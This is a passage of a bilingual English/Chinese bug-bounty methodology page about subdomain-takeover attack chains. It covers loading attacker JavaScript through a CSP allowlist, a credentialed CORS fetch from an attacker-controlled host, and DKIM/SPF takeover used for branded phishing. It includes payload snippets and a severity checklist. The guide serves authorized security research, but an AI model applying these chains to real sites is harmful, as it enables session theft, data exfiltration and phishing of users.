的 Duende BFF 攻击类别 2 中有详细讨论（cookie-domain 通配符将子域名接管转化为 session fixation）。模式类别：S3-bucket-takeover 与父域作用域 cookie（
```
Domain=.target.com
```
）组合。

Chain 3 — Takeover + CSP

script-src

Includes the Taken-Over Host → Persistent Stored XSS on Main App

链 3——接管 + CSP

script-src

包含被接管主机 → 主应用持久化 Stored XSS

A. Inspect CSP header on the main app's HTML response. Look for

script-src 'self' assets.target.com cdn.target.com legacy.target.com ...

B. Take over one of the CSP-allowlisted subdomains (especially common: stale CNAMEs to deleted CDNs, deleted Vercel/Netlify projects, archived analytics services).
C. Host attacker-controlled JavaScript at the takeover host. Every page load on the main app fetches
```
<script src="//taken-over-host/x.js">
```
because the host is on the CSP allowlist. JS executes with main-app origin — full session access, can call any same-origin API.
Impact: Stored XSS-equivalent on every page of the main app, persistent until the CSP is updated. Bypasses every input sanitiser because the JS source is "trusted" per CSP.
Real shape: Sifchain
```
proxies.sifchain.finance
```
Vercel takeover — Disclosed Report Citation #14 (web3 phishing); pattern documented in multiple H1 disclosures 2020-2024.

A. 检查主应用 HTML 响应中的 CSP 头。寻找

script-src 'self' assets.target.com cdn.target.com legacy.target.com ...

等配置。

B. 接管 CSP 白名单中的某个子域名，尤其是常见目标：指向已删除 CDN、已删除 Vercel/Netlify 项目或已归档分析服务的陈旧 CNAME。
C. 在被接管主机上托管攻击者控制的 JavaScript。主应用每次加载页面时都会获取
```
<script src="//taken-over-host/x.js">
```
，因为该主机位于 CSP 白名单中。JS 会以主应用 origin 执行——获得完整会话访问权限，并能调用任意同源 API。
**影响：**主应用每个页面都存在等效于 Stored XSS 的持久漏洞，直至 CSP 被更新。由于 JS 源在 CSP 看来是“受信任”的，它可以绕过所有输入净化机制。
**真实形态：**Sifchain
```
proxies.sifchain.finance
```
Vercel 接管——已披露报告引用 #14（web3 钓鱼）；2020–2024 年间有多个 H1 披露记录了这一模式。

Chain 4 — Takeover + CORS

Access-Control-Allow-Origin

Regex Match → Credentialed Cross-Origin API Read

链 4——接管 + CORS

Access-Control-Allow-Origin

正则匹配 → 携带凭据的跨源 API 读取

A. Inspect the API's CORS configuration. Look for any regex / wildcard / suffix-match in
```
Access-Control-Allow-Origin
```
that includes
```
*.target.com
```
or
```
target.com.*
```
(the second is a common bug).
B. Take over any subdomain that the CORS regex would accept (or register a new
```
target.com.attacker.com
```
host if suffix-match is broken).
C. Attacker page hosted on the taken-over subdomain issues
```
fetch('https://api.target.com/account', {credentials:'include'})
```
. CORS preflight passes. Server returns credentialed response. Attacker's JS reads it.
Impact: Mass cross-tenant API read with credentials — sessions, PATs, account data, billing records — all reachable from a single attacker page.
Real shape: Multiple disclosed cases; cross-refs
```
hunt-api-misconfig
```
CORS subsection. Pairs with
```
hunt-misc
```
step 1 (CORS regex enumeration).

A. 检查 API 的 CORS 配置。寻找
```
Access-Control-Allow-Origin
```
中任何包含
```
*.target.com
```
或
```
target.com.*
```
的正则、通配符或后缀匹配（后者是常见缺陷）。
B. 接管任何能被 CORS 正则接受的子域名；如果后缀匹配存在缺陷，也可以注册新的
```
target.com.attacker.com
```
主机。
C. 攻击者页面在被接管的子域名上发起
```
fetch('https://api.target.com/account', {credentials:'include'})
```
。CORS 预检通过，服务器返回带凭据的响应，攻击者 JS 可以读取响应。
**影响：**大规模跨租户 API 读取，并携带凭据——会话、PAT、账户数据和账单记录均可从一个攻击者页面获取。
**真实形态：**多个已披露案例；交叉参考
```
hunt-api-misconfig
```
的 CORS 小节。与
```
hunt-misc
```
步骤 1（CORS 正则枚举）组合。

Chain 5 — Takeover at Email DNS (DKIM / SPF / MX) → Email Spoofing → Phishing Trusted by Parent Brand

链 5——接管 Email DNS（DKIM/SPF/MX）→ 邮件伪造 → 获得父品牌信任的钓鱼邮件

A. Enumerate the target's email DNS — DKIM selectors (

selector1._domainkey.target.com

), SPF includes (

include:_spf.takeover-candidate.com

), MX records (

mx.target.com → defunct-provider.example

B. Take over any DKIM-selector or SPF-include host. Now the attacker can publish DKIM/SPF records that authorise their own server to send mail "from"
```
@target.com
```
.
C. Send phishing email
```
From: support@target.com
```
to victim. Recipient mail server passes SPF + DKIM checks (because the takeover server is now authorised). Email lands in inbox with
```
target.com
```
brand, no security warning.
Impact: Highly-effective phishing campaign exploiting the parent brand. Victims trust the email because every authentication check passes. Credential harvesting, BEC fraud, supply-chain access.
Real shape: Multiple historical disclosures on DKIM selector takeover / SPF include chain hijacking. Cross-refs DMARC / SPF / DKIM section in
```
offensive-osint
```
.

A. 枚举目标的邮件 DNS——DKIM selector（

selector1._domainkey.target.com

）、SPF include（

include:_spf.takeover-candidate.com

）、MX 记录（

mx.target.com → defunct-provider.example

）。

B. 接管任意 DKIM selector 或 SPF include 主机。现在攻击者可以发布 DKIM/SPF 记录，授权自己的服务器以
```
target.com
```
身份发送邮件。
C. 向受害者发送
```
From: support@target.com
```
的钓鱼邮件。由于接管后的服务器已获得授权，收件人的邮件服务器会通过 SPF + DKIM 检查。邮件进入收件箱并带有
```
target.com
```
品牌，且没有安全警告。
**影响：**利用父域品牌实施高效率钓鱼活动。受害者会信任该邮件，因为所有身份验证检查都已通过。可用于凭据收集、BEC 欺诈和供应链访问。
**真实形态：**多个关于 DKIM selector 接管和 SPF include 链劫持的历史披露。交叉参考
```
offensive-osint
```
的邮件安全章节。

Operator-level pattern

操作者级模式

The five chains above are exhaustive in practice — virtually every senior-tier subdomain-takeover payout maps to one of them. Before reporting any takeover, run through the checklist:

OAuth
redirect_uri
allowlist — does the taken-over host appear? → Chain 1, Critical.
Parent-domain cookies — does the main app set
```
Domain=.target.com
```
? → Chain 2, High.
CSP
script-src
— does the taken-over host appear in the allowlist? → Chain 3, Critical.
CORS allowlist — does any regex match the taken-over host? → Chain 4, High.
Email DNS (DKIM selector / SPF include) — does the taken-over host appear? → Chain 5, High.

If none apply, file at Low/Informational. Do not file at Critical without demonstrating one of these chains — triagers downgrade fast otherwise.

Cross-references:

```
hunt-oauth
```
— Chain 1 (
```
redirect_uri
```
bypass class)
```
hunt-auth-bypass
```
Duende BFF Attack Class 2 — Chain 2 (cookie scoping)
```
hunt-xss
```
Chain 4 — Chain 3 (CSP bypass via trusted-origin JS)
```
hunt-api-misconfig
```
CORS section — Chain 4
```
offensive-osint
```
email-security section — Chain 5

上述五条链在实践中已足够全面——几乎每个高级别子域名接管收益案例都对应其中之一。提交任何接管前，都应执行以下检查清单：

OAuth
redirect_uri
白名单——被接管主机是否出现？→ 链 1，Critical。
父域 cookie——主应用是否设置
```
Domain=.target.com
```
？→ 链 2，High。
CSP
script-src
——被接管主机是否位于白名单中？→ 链 3，Critical。
CORS 白名单——是否有正则匹配被接管主机？→ 链 4，High。
Email DNS（DKIM selector/SPF include）——被接管主机是否出现？→ 链 5，High。

如果没有任何一项适用，则按 Low/Informational 提交。不要在没有演示上述至少一条链的情况下按 Critical 提交——否则分诊人员通常会迅速降低严重程度。

交叉引用：

```
hunt-oauth
```
——链 1（
```
redirect_uri
```
绕过类别）
```
hunt-auth-bypass
```
Duende BFF 攻击类别 2——链 2（cookie 作用域）
```
hunt-xss
```
链 4——链 3（通过受信任 origin JS 绕过 CSP）
```
hunt-api-misconfig
```
CORS 小节——链 4
```
offensive-osint
```
邮件安全章节——链 5

hunt-subdomain

Original

Translation

Crown Jewel Targets

核心高价值目标

Attack Surface Signals

攻击面信号

Step-by-Step Hunting Methodology

分步搜寻方法论

Payload & Detection Patterns

Payload 与检测模式

Extract CNAMEs and check if target resolves

Extract CNAMEs and check if target resolves

If pointing to *.gitlab.io — visit the gitlab.io URL directly

If pointing to *.gitlab.io — visit the gitlab.io URL directly

404 from gitlab.io project = claimable

404 from gitlab.io project = claimable

Common Root Causes

常见根因

Bypass Techniques

绕过技术

Gate 0 Validation

Gate 0 验证

Real Impact Examples

真实影响示例

Disclosed Report Citations (2022-2023)

已披露报告引用（2022–2023）

Chains & Compositions (Senior Hunting)

链式组合与组合技（高级搜寻）

Chain 1 — Takeover + OAuth redirect_uri Whitelist → Auth-Code Theft → 1-Click ATO

链 1——接管 + OAuth redirect_uri 白名单 → 授权码窃取 → 一键 ATO

Chain 2 — Takeover at Sibling Subdomain + Cookie-Domain Wildcard → Session Fixation on Parent App

链 2——接管同级子域名 + Cookie-Domain 通配符 → 主应用 Session Fixation

Chain 3 — Takeover + CSP script-src Includes the Taken-Over Host → Persistent Stored XSS on Main App

链 3——接管 + CSP script-src 包含被接管主机 → 主应用持久化 Stored XSS

Chain 4 — Takeover + CORS Access-Control-Allow-Origin Regex Match → Credentialed Cross-Origin API Read

链 4——接管 + CORS Access-Control-Allow-Origin 正则匹配 → 携带凭据的跨源 API 读取

Chain 5 — Takeover at Email DNS (DKIM / SPF / MX) → Email Spoofing → Phishing Trusted by Parent Brand

链 5——接管 Email DNS（DKIM/SPF/MX）→ 邮件伪造 → 获得父品牌信任的钓鱼邮件

Operator-level pattern

操作者级模式

Related Skills & Chains

相关 Skills 与链式组合

Chain 1 — Takeover + OAuth
`redirect_uri`
Whitelist → Auth-Code Theft → 1-Click ATO

链 1——接管 + OAuth
`redirect_uri`
白名单 → 授权码窃取 → 一键 ATO

Chain 3 — Takeover + CSP
`script-src`
Includes the Taken-Over Host → Persistent Stored XSS on Main App

链 3——接管 + CSP
`script-src`
包含被接管主机 → 主应用持久化 Stored XSS

Chain 4 — Takeover + CORS
`Access-Control-Allow-Origin`
Regex Match → Credentialed Cross-Origin API Read

链 4——接管 + CORS
`Access-Control-Allow-Origin`
正则匹配 → 携带凭据的跨源 API 读取